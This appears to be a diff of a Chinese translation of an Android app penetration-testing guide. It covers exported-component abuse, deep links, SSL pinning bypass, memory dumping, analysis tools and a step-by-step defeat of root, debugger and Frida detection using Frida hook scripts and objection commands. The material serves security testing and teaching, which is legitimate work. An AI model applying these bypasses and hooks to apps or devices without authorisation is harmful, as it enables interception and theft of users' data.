一个**活动**的**`launchMode`** 设置为**`singleTask`**,且未定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,如果在真实应用程序之前安装并启动了一个**应用程序**,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
|
||||
一个**活动**的**`launchMode`** 设置为**`singleTask`**,且未定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,如果在真实应用程序之前安装并启动了一个**应用程序**,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**互动,以为自己在使用真实应用程序)。
|
||||
|
||||
更多信息在:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
@ -117,7 +121,7 @@ android-task-hijacking.md
|
||||
1. **静态分析:**
|
||||
- **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**。
|
||||
2. **动态分析:**
|
||||
- **验证**应用程序创建的文件上的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险,因为这将允许**任何安装在设备上的应用程序**,无论其来源或意图如何,**读取或修改**这些文件。
|
||||
- **验证**应用程序创建的文件上的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能会带来重大安全风险,因为这将允许**任何安装在设备上的应用程序**,无论其来源或意图如何,**读取或修改**这些文件。
|
||||
|
||||
**外部存储**
|
||||
|
||||
@ -127,11 +131,11 @@ android-task-hijacking.md
|
||||
- 外部存储上的文件是**全球可读和可写**的。这意味着任何应用程序或用户都可以访问这些文件。
|
||||
2. **安全问题**:
|
||||
- 鉴于访问的便利性,建议**不要在外部存储上存储敏感信息**。
|
||||
- 外部存储可以被任何应用程序移除或访问,使其安全性降低。
|
||||
- 外部存储可以被任何应用程序移除或访问,从而降低安全性。
|
||||
3. **处理来自外部存储的数据**:
|
||||
- 始终对从外部存储检索的数据**执行输入验证**。这至关重要,因为数据来自不受信任的来源。
|
||||
- 强烈不建议在外部存储上存储可执行文件或类文件以进行动态加载。
|
||||
- 如果您的应用程序必须从外部存储检索可执行文件,请确保这些文件在动态加载之前**已签名并经过加密验证**。此步骤对于维护应用程序的安全完整性至关重要。
|
||||
- 如果您的应用程序必须从外部存储检索可执行文件,请确保这些文件在动态加载之前**经过签名和加密验证**。此步骤对于维护应用程序的安全完整性至关重要。
|
||||
|
||||
外部存储可以在 `/storage/emulated/0`、`/sdcard`、`/mnt/sdcard` 中访问。
|
||||
|
||||
@ -162,7 +166,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
||||
**使用不安全和/或过时的算法**
|
||||
|
||||
开发人员不应该使用 **过时的算法** 来执行授权 **检查**、**存储** 或 **发送** 数据。这些算法包括:RC4、MD4、MD5、SHA1……如果 **哈希** 用于存储密码,例如,应该使用带盐的抗暴力破解的哈希。
|
||||
开发人员不应该使用 **过时的算法** 来执行授权 **检查**、**存储** 或 **发送** 数据。这些算法包括:RC4、MD4、MD5、SHA1... 如果 **哈希** 用于存储密码,例如,应该使用带盐的抗暴力破解的哈希。
|
||||
|
||||
### 其他检查
|
||||
|
||||
@ -190,7 +194,7 @@ react-native-application.md
|
||||
|
||||
### 超级打包应用程序
|
||||
|
||||
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) 超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个可以解压这些类型应用程序的应用的可能性……以及一种更快的方法,即 **执行应用程序并从文件系统中收集解压的文件。**
|
||||
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) 超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个可以解压这些应用程序的应用的可能性……以及一种更快的方法,涉及 **执行应用程序并从文件系统中收集解压的文件。**
|
||||
|
||||
### 自动化静态代码分析
|
||||
|
||||
@ -200,7 +204,7 @@ react-native-application.md
|
||||
|
||||
### 泄露的秘密
|
||||
|
||||
应用程序可能包含秘密(API 密钥、密码、隐藏的 URL、子域名……)在其中,您可能能够发现。您可以使用像 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) 这样的工具。
|
||||
一个应用程序可能包含秘密(API 密钥、密码、隐藏的 URL、子域名……)在其中,您可能能够发现。您可以使用像 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) 这样的工具。
|
||||
|
||||
### 绕过生物识别认证
|
||||
|
||||
@ -243,14 +247,14 @@ content-protocol.md
|
||||
|
||||
#### 使用模拟器
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio)(您可以创建 **x86** 和 **arm** 设备,并且根据 [**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本 **支持 ARM 库**,无需慢速的 arm 模拟器)。
|
||||
- [**Android Studio**](https://developer.android.com/studio)(您可以创建 **x86** 和 **arm** 设备,并且根据 [**这个**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本 **支持 ARM 库**,无需慢速的 arm 模拟器)。
|
||||
- 学习如何在此页面上设置:
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版本:**个人版,您需要创建一个账户。_建议 **下载** 带有 _**VirtualBox** 的版本,以避免潜在错误。_)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版,您需要创建一个账户。_建议 **下载** 带有 _**VirtualBox** 的版本,以避免潜在错误。_)
|
||||
- [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer)。
|
||||
|
||||
> [!TIP]
|
||||
@ -260,11 +264,11 @@ avd-android-virtual-device.md
|
||||
|
||||
.png>)
|
||||
|
||||
此外,请注意在 **Genymotion 中的 Android VM 配置** 中,您可以选择 **桥接网络模式**(如果您将从不同的 VM 连接到 Android VM,这将非常有用)。
|
||||
此外,请注意在 Genymotion 的 **Android VM 配置中**,您可以选择 **桥接网络模式**(如果您将从不同的 VM 连接到 Android VM 使用工具,这将非常有用)。
|
||||
|
||||
#### 使用物理设备
|
||||
|
||||
您需要激活 **调试** 选项,如果您能 **root** 它,那就更好了:
|
||||
您需要激活 **调试** 选项,如果您可以 **root** 它,那就更好了:
|
||||
|
||||
1. **设置**。
|
||||
2. (从 Android 8.0 开始)选择 **系统**。
|
||||
@ -273,7 +277,7 @@ avd-android-virtual-device.md
|
||||
5. 返回,您将找到 **开发者选项**。
|
||||
|
||||
> 一旦您安装了应用程序,您首先应该尝试它并调查它的功能、工作原理,并与之熟悉。\
|
||||
> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以在 MobSF **捕获** 许多 **有趣的** **数据** 供您稍后查看的同时 **了解应用程序的工作原理**。
|
||||
> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以 **了解应用程序的工作原理**,同时 MobSF **捕获** 许多您可以稍后查看的 **有趣** **数据**。
|
||||
|
||||
### 意外数据泄露
|
||||
|
||||
@ -293,15 +297,15 @@ Android 的 **基于剪贴板** 的框架使应用程序能够实现复制粘贴
|
||||
|
||||
如果应用程序 **崩溃** 并 **保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低这种风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。
|
||||
|
||||
作为渗透测试者,**请查看这些日志**。
|
||||
作为渗透测试者,**请尝试查看这些日志**。
|
||||
|
||||
**发送给第三方的分析数据**
|
||||
|
||||
应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实施,可能会 **泄露敏感数据**。为了识别潜在的数据泄露,建议 **拦截应用程序的流量** 并检查是否有任何敏感信息被发送到第三方服务。
|
||||
应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实现,可能会 **泄露敏感数据**。为了识别潜在的数据泄露,建议 **拦截应用程序的流量** 并检查是否有任何敏感信息被发送到第三方服务。
|
||||
|
||||
### SQLite 数据库
|
||||
|
||||
大多数应用程序将使用 **内部 SQLite 数据库** 来保存信息。在渗透测试期间,请 **查看** 创建的 **数据库**、**表** 和 **列** 的名称以及所有 **保存的数据**,因为您可能会发现 **敏感信息**(这将是一个漏洞)。\
|
||||
大多数应用程序将使用 **内部 SQLite 数据库** 来保存信息。在渗透测试期间,查看创建的 **数据库**、**表** 和 **列** 的名称以及所有保存的 **数据**,因为您可能会发现 **敏感信息**(这将是一个漏洞)。\
|
||||
数据库应位于 `/data/data/the.package.name/databases`,如 `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
如果数据库保存机密信息并且 **加密** 但您可以在应用程序中 **找到** **密码**,这仍然是一个 **漏洞**。
|
||||
@ -320,7 +324,7 @@ Drozer 是一个有用的工具,可以 **利用导出活动、导出服务和
|
||||
|
||||
**授权绕过**
|
||||
|
||||
当一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含 **敏感信息** 的活动被 **导出**,您可以 **绕过** **认证** 机制 **以访问它**。
|
||||
当一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含 **敏感信息** 的活动被 **导出**,您可能会 **绕过** **认证** 机制 **以访问它**。
|
||||
|
||||
[**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -331,46 +335,46 @@ Drozer 是一个有用的工具,可以 **利用导出活动、导出服务和
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**注意**:MobSF 会将使用 _**singleTask/singleInstance**_ 作为 `android:launchMode` 的活动检测为恶意,但由于 [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750),显然这在旧版本(API 版本 < 21)中才是危险的。
|
||||
**注意**:MobSF会将使用_**singleTask/singleInstance**_作为活动中的`android:launchMode`视为恶意,但由于[this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750),显然这在旧版本(API版本<21)中才是危险的。
|
||||
|
||||
> [!提示]
|
||||
> 请注意,授权绕过并不总是一个漏洞,这取决于绕过的工作方式和暴露的信息。
|
||||
|
||||
**敏感信息泄露**
|
||||
|
||||
**活动也可以返回结果**。如果你设法找到一个导出且未保护的活动调用 **`setResult`** 方法并 **返回敏感信息**,则存在敏感信息泄露。
|
||||
**活动也可以返回结果**。如果您设法找到一个导出且未保护的活动调用**`setResult`**方法并**返回敏感信息**,则存在敏感信息泄露。
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
如果未防止 tapjacking,你可能会滥用导出的活动使 **用户执行意外操作**。有关 [**tapjacking 的更多信息,请查看链接**](#tapjacking)。
|
||||
如果未防止tapjacking,您可能会滥用导出活动使**用户执行意外操作**。有关[**tapjacking是什么的更多信息,请查看链接**](#tapjacking)。
|
||||
|
||||
### 利用内容提供者 - 访问和操纵敏感信息
|
||||
|
||||
[**如果你想刷新内容提供者是什么,请阅读此内容。**](android-applications-basics.md#content-provider)\
|
||||
内容提供者基本上用于 **共享数据**。如果一个应用程序有可用的内容提供者,你可能能够 **提取敏感** 数据。测试可能的 **SQL 注入** 和 **路径遍历** 也很有趣,因为它们可能存在漏洞。
|
||||
[**如果您想刷新内容提供者是什么,请阅读此内容。**](android-applications-basics.md#content-provider)\
|
||||
内容提供者基本上用于**共享数据**。如果一个应用程序有可用的内容提供者,您可能能够**提取敏感**数据。测试可能的**SQL注入**和**路径遍历**也很有趣,因为它们可能存在漏洞。
|
||||
|
||||
[**学习如何使用 Drozer 利用内容提供者。**](drozer-tutorial/index.html#content-providers)
|
||||
[**了解如何使用Drozer利用内容提供者。**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **利用服务**
|
||||
|
||||
[**如果你想刷新服务是什么,请阅读此内容。**](android-applications-basics.md#services)\
|
||||
请记住,服务的操作始于 `onStartCommand` 方法。
|
||||
[**如果您想刷新服务是什么,请阅读此内容。**](android-applications-basics.md#services)\
|
||||
请记住,服务的操作始于方法`onStartCommand`。
|
||||
|
||||
服务基本上是可以 **接收数据**、**处理** 数据并 **返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,你应该 **检查** 其 **代码** 以了解它在做什么,并 **动态测试** 以提取机密信息、绕过身份验证措施...\
|
||||
[**学习如何使用 Drozer 利用服务。**](drozer-tutorial/index.html#services)
|
||||
服务基本上是可以**接收数据**、**处理**它并**返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,您应该**检查**代码以了解它在做什么,并**动态**测试以提取机密信息、绕过身份验证措施...\
|
||||
[**了解如何使用Drozer利用服务。**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **利用广播接收器**
|
||||
|
||||
[**如果你想刷新广播接收器是什么,请阅读此内容。**](android-applications-basics.md#broadcast-receivers)\
|
||||
请记住,广播接收器的操作始于 `onReceive` 方法。
|
||||
[**如果您想刷新广播接收器是什么,请阅读此内容。**](android-applications-basics.md#broadcast-receivers)\
|
||||
请记住,广播接收器的操作始于方法`onReceive`。
|
||||
|
||||
广播接收器将等待某种类型的消息。根据接收器如何处理消息,它可能会存在漏洞。\
|
||||
[**学习如何使用 Drozer 利用广播接收器。**](#exploiting-broadcast-receivers)
|
||||
[**了解如何使用Drozer利用广播接收器。**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **利用方案 / 深度链接**
|
||||
### **利用方案/深度链接**
|
||||
|
||||
你可以手动查找深度链接,使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 这样的脚本。\
|
||||
你可以使用 **adb** 或 **浏览器** **打开** 声明的 **方案**:
|
||||
您可以手动查找深度链接,使用像MobSF这样的工具或像[this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)这样的脚本。\
|
||||
您可以使用**adb**或**浏览器**打开声明的**方案**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
@ -402,7 +406,7 @@ _请注意,您可以**省略包名**,手机将自动调用应该打开该链
|
||||
|
||||
### 传输层检查和验证失败
|
||||
|
||||
- **Android 应用程序并不总是正确检查证书**。这些应用程序常常忽视警告,接受自签名证书,或者在某些情况下,恢复使用 HTTP 连接。
|
||||
- **证书并不总是被 Android 应用程序正确检查**。这些应用程序常常忽视警告,接受自签名证书,或者在某些情况下,恢复使用 HTTP 连接。
|
||||
- **SSL/TLS 握手期间的协商有时较弱**,使用不安全的密码套件。此漏洞使连接容易受到中间人(MITM)攻击,允许攻击者解密数据。
|
||||
- **私密信息泄露**是一个风险,当应用程序通过安全通道进行身份验证,但随后在其他交易中通过非安全通道进行通信。这种方法未能保护敏感数据,例如会话 cookie 或用户详细信息,免受恶意实体的拦截。
|
||||
|
||||
@ -424,9 +428,9 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
|
||||
|
||||
#### 绕过 SSL 钉扎
|
||||
|
||||
当实施 SSL 钉扎时,绕过它成为检查 HTTPS 流量的必要条件。为此有多种方法可用:
|
||||
当实施 SSL 钉扎时,绕过它变得必要以检查 HTTPS 流量。为此有多种方法可用:
|
||||
|
||||
- 自动**修改** **apk**以**绕过** SSL 钉扎,使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是您无需 root 即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
|
||||
- 自动**修改** **apk**以**绕过** SSLPinning,使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是,您无需 root 权限即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
|
||||
- 您可以使用**Frida**(下面讨论)来绕过此保护。这里有一个使用 Burp+Frida+Genymotion 的指南:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- 您还可以尝试使用[**objection**](frida-tutorial/objection-tutorial.md)**自动绕过 SSL 钉扎**:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- 您还可以尝试使用**MobSF 动态分析**(下面解释)**自动绕过 SSL 钉扎**
|
||||
@ -443,7 +447,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
|
||||
如果您想对 Android 应用程序进行渗透测试,您需要知道如何使用 Frida。
|
||||
|
||||
- 学习如何使用 Frida:[**Frida 教程**](frida-tutorial/index.html)
|
||||
- 一些与 Frida 交互的“GUI”: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- 一些与 Frida 相关的“GUI”操作:[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection 是自动化使用 Frida 的好工具:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- 您可以在这里找到一些很棒的 Frida 脚本:[**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- 尝试通过加载 Frida 绕过反调试/反 Frida 机制,如在[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)中所示(工具[linjector](https://github.com/erfur/linjector-rs))
|
||||
@ -458,7 +462,7 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
|
||||
检查应用程序是否在内存中存储不应存储的敏感信息,如密码或助记符。
|
||||
|
||||
使用[**Fridump3**](https://github.com/rootbsd/fridump3),您可以通过以下命令转储应用程序的内存:
|
||||
使用[**Fridump3**](https://github.com/rootbsd/fridump3),您可以转储应用程序的内存:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -473,11 +477,11 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Keystore中的敏感数据**
|
||||
|
||||
在Android中,Keystore是存储敏感数据的最佳位置,然而,拥有足够权限的情况下仍然**可以访问它**。由于应用程序往往在这里**以明文存储敏感数据**,因此渗透测试应以root用户身份进行检查,或者某些具有物理访问权限的人可能能够窃取这些数据。
|
||||
在Android中,Keystore是存储敏感数据的最佳位置,然而,拥有足够权限的情况下仍然**可以访问它**。由于应用程序倾向于在此处存储**明文敏感数据**,因此渗透测试应以root用户身份进行检查,或者某些具有物理访问权限的人可能能够窃取这些数据。
|
||||
|
||||
即使应用程序将数据存储在keystore中,数据也应该是加密的。
|
||||
|
||||
要访问keystore中的数据,可以使用这个Frida脚本:[https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
要访问keystore中的数据,可以使用此Frida脚本:[https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
@ -560,7 +564,7 @@ MobSF 还允许您进行 **diff/比较** 分析,并集成 **VirusTotal**(您
|
||||
**Frida**
|
||||
|
||||
默认情况下,它还将使用一些 Frida 脚本来 **绕过 SSL 钉扎**、**根检测** 和 **调试器检测**,并 **监控有趣的 API**。\
|
||||
MobSF 还可以 **调用导出活动**,抓取它们的 **屏幕截图** 并 **保存** 以供报告使用。
|
||||
MobSF 还可以 **调用导出活动**,抓取它们的 **屏幕截图** 并 **保存** 到报告中。
|
||||
|
||||
要 **开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志,按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值(这将在按下“开始仪器化”后出现)。\
|
||||
MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本的结果发送到 MobSF,请使用函数 `send()`)。它还具有 **多个预编写的脚本**,您可以加载(您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需 **选择它们**,按“**加载**”并按“**开始仪器化**”(您将能够在“**Frida 实时日志**”中看到该脚本的日志)。
|
||||
@ -576,7 +580,7 @@ MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本
|
||||
- **搜索类模式**:按模式搜索类
|
||||
- **跟踪类方法**:**跟踪** 一个 **整个类**(查看该类所有方法的输入和输出)。请记住,默认情况下 MobSF 跟踪几个有趣的 Android API 方法。
|
||||
|
||||
一旦您选择了要使用的辅助模块,您需要按“**开始仪器化**”,您将在“**Frida 实时日志**”中看到所有输出。
|
||||
一旦您选择了要使用的辅助模块,您需要按“**开始仪器化**”,您将看到所有输出在“**Frida 实时日志**”中。
|
||||
|
||||
**Shell**
|
||||
|
||||
@ -591,8 +595,8 @@ receivers
|
||||
```
|
||||
**HTTP工具**
|
||||
|
||||
当http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送**捕获的**请求**到像Burp或Owasp ZAP这样的**代理**。\
|
||||
为此,_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按下“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||
当捕获http流量时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送** **捕获的请求**到像Burp或Owasp ZAP这样的**代理**。\
|
||||
为此,_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||
|
||||
完成MobSF的动态分析后,您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
|
||||
|
||||
@ -606,7 +610,7 @@ receivers
|
||||
### 使用Inspeckage进行辅助动态分析
|
||||
|
||||
您可以从[**Inspeckage**](https://github.com/ac-pm/Inspeckage)获取该工具。\
|
||||
该工具将使用一些**Hooks**来让您了解**在进行动态分析时应用程序中发生了什么**。
|
||||
该工具将使用一些**Hooks**来让您了解**在执行动态分析时应用程序中发生了什么**。
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
@ -638,7 +642,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
|
||||
SUPER 是一个可以在 Windows、MacOS X 和 Linux 上使用的命令行应用程序,分析 _.apk_ 文件以寻找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。
|
||||
|
||||
所有规则都集中在一个 `rules.json` 文件中,每个公司或测试人员可以创建自己的规则来分析他们需要的内容。
|
||||
所有规则都集中在一个 `rules.json` 文件中,每个公司或测试人员都可以创建自己的规则来分析他们需要的内容。
|
||||
|
||||
从 [download page](https://superanalyzer.rocks/download.html) 下载最新的二进制文件。
|
||||
```
|
||||
@ -650,7 +654,7 @@ super-analyzer {apk_file}
|
||||
|
||||
StaCoAn 是一个 **跨平台** 工具,帮助开发者、漏洞赏金猎人和道德黑客对移动应用程序进行 [静态代码分析](https://en.wikipedia.org/wiki/Static_program_analysis)。
|
||||
|
||||
其概念是将您的移动应用程序文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用程序中,它将为您生成一个可视化和便携的报告。您可以调整设置和词汇表,以获得定制的体验。
|
||||
其概念是将您的移动应用程序文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用程序上,它将为您生成一个可视化和便携的报告。您可以调整设置和词汇表,以获得定制的体验。
|
||||
|
||||
下载 [最新版本](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
@ -695,7 +699,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
## 混淆/去混淆代码
|
||||
|
||||
请注意,具体取决于您用于混淆代码的服务和配置。秘密可能会被混淆或不被混淆。
|
||||
请注意,具体取决于您用于混淆代码的服务和配置。秘密可能会被混淆,也可能不会。
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
@ -707,17 +711,17 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
|
||||
|
||||
在 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) 找到去混淆 APK 的逐步指南。
|
||||
|
||||
(来自该指南)上次我们检查时,Dexguard 的操作模式是:
|
||||
(来自该指南)我们最后检查时,Dexguard 的操作模式是:
|
||||
|
||||
- 将资源加载为 InputStream;
|
||||
- 将结果传递给继承自 FilterInputStream 的类以进行解密;
|
||||
- 进行一些无用的混淆,以浪费反向工程师几分钟的时间;
|
||||
- 将解密后的结果传递给 ZipInputStream 以获取 DEX 文件;
|
||||
- 将解密的结果传递给 ZipInputStream 以获取 DEX 文件;
|
||||
- 最后使用 `loadDex` 方法将结果 DEX 加载为资源。
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard 逆转了 Android 混淆工具执行的混淆过程。这使得进行多种安全分析成为可能,包括代码检查和预测库。**
|
||||
**DeGuard 逆转 Android 混淆工具执行的混淆过程。这使得进行多种安全分析成为可能,包括代码检查和预测库。**
|
||||
|
||||
您可以将混淆的 APK 上传到他们的平台。
|
||||
|
||||
@ -727,7 +731,7 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其表现相同,但更易于人类理解。每种优化类型都是简单和通用的,因此无论使用何种特定类型的混淆都无关紧要。
|
||||
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其行为相同,但更易于人类理解。每种优化类型都是简单和通用的,因此无论使用何种特定类型的混淆都无关紧要。
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
||||
@ -35,7 +35,7 @@
|
||||
```bash
|
||||
frida -U -f com.example.app -l anti-frida-detection.js
|
||||
```
|
||||
这些通常会阻止 Java 根/调试检查、进程/服务扫描和本地 ptrace()。在保护较轻的应用程序上很有用;加固的目标可能需要量身定制的钩子。
|
||||
这些通常会阻止 Java 根/调试检查、进程/服务扫描和本机 ptrace()。在保护较轻的应用程序上很有用;加固的目标可能需要量身定制的钩子。
|
||||
|
||||
- Codeshare: https://codeshare.frida.re/
|
||||
|
||||
@ -50,7 +50,7 @@ aobjection --gadget com.example.app explore # if using gadget
|
||||
```
|
||||
如果这有效,保持会话稳定并继续进行映射和存根检查。
|
||||
|
||||
## 第4步 — 通过Jadx和字符串搜索映射检测逻辑
|
||||
## 第4步 — 通过Jadx映射检测逻辑和字符串搜索
|
||||
|
||||
Jadx中的静态分类关键字:
|
||||
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
|
||||
@ -65,8 +65,8 @@ return getRunningServices().contains("frida");
|
||||
- android.os.Debug.isDebuggerConnected
|
||||
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
|
||||
- java.lang.System.loadLibrary / System.load (native bridge)
|
||||
- java.lang.Runtime.exec / ProcessBuilder (探测命令)
|
||||
- android.os.SystemProperties.get (root/emulator启发式)
|
||||
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
|
||||
- android.os.SystemProperties.get (root/emulator heuristics)
|
||||
|
||||
## 第5步 — 使用Frida进行运行时存根(Java)
|
||||
|
||||
@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
|
||||
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
|
||||
});
|
||||
```
|
||||
在崩溃早期进行分类?在应用程序崩溃之前转储类,以便发现可能的检测命名空间:
|
||||
在崩溃早期进行分类?在应用程序崩溃前转储类,以便发现可能的检测命名空间:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
Java.enumerateLoadedClasses({
|
||||
@ -106,7 +106,7 @@ return false;
|
||||
```
|
||||
## Step 6 — 当 Java hooks 失败时,跟踪 JNI/native 路径
|
||||
|
||||
跟踪 JNI 入口点以定位本地加载器和检测初始化:
|
||||
追踪 JNI 入口点以定位本地加载器和检测初始化:
|
||||
```bash
|
||||
frida-trace -n com.example.app -i "JNI_OnLoad"
|
||||
```
|
||||
@ -134,7 +134,7 @@ return -1; // pretend failure
|
||||
reversing-native-libraries.md
|
||||
{{#endref}}
|
||||
|
||||
## 第7步 — Objection打补丁(嵌入小工具/剥离基础)
|
||||
## 第7步 — Objection 修补(嵌入小工具 / 基础剥离)
|
||||
|
||||
当您更喜欢重新打包而不是运行时钩子时,请尝试:
|
||||
```bash
|
||||
@ -185,7 +185,7 @@ apk-mitm app.apk
|
||||
|
||||
- 在应用程序启动时崩溃时,优先选择后期附加而不是生成
|
||||
- 一些检测在关键流程中重新运行(例如,支付、认证)——在导航期间保持钩子活跃
|
||||
